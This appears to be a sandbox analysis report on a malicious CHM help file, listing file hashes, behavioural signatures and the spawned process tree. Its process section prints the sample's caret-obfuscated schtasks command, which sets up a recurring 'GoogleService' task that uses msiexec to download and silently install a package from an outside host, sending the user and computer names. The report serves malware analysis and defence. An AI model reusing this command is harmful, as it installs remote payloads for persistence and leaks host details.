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Analysis
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max time kernel
139s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
01/08/2023, 07:57
Static task
static1
Behavioral task
behavioral1
Sample
2023BN20230731.chm
Resource
win7-20230712-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
2023BN20230731.chm
Resource
win10v2004-20230703-en
3 signatures
150 seconds
General
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Target
2023BN20230731.chm
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Size
11KB
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MD5
93371c46f557a5dea7ce67564efd1124
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SHA1
630e28421159c8edeef9c157c442183f4ecee0d7
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SHA256
c3fc4d145ce3cee06782753be269cad6632751fb9b824e1917b0de6e597ee2ee
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SHA512
af6afc151643cff335198e5a0ed10bb382d83b8fee48606b7f8a6b8a3aacaa315cf0e2648cbb02d650f6cae263f8099857c92c62e687547a484503292dc4c57c
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SSDEEP
96:lAutMDtV8mx3LlKwi/TdqTb1+5QvnkLd4:lKpaz6bzPMd
Score
1/10
Malware Config
Signatures
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1280 schtasks.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1852 hh.exe 1852 hh.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1852 wrote to memory of 1280 1852 hh.exe 85 PID 1852 wrote to memory of 1280 1852 hh.exe 85
Processes
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C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\2023BN20230731.chm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://^m^e^rc^iful^nea^ry^ou.co^m/F^M^CG/^oli.p^hp^?^z^h=%username%*%computername% /^q^n ^/^norestart" /f2⤵
- Creates scheduled task(s)
PID:1280
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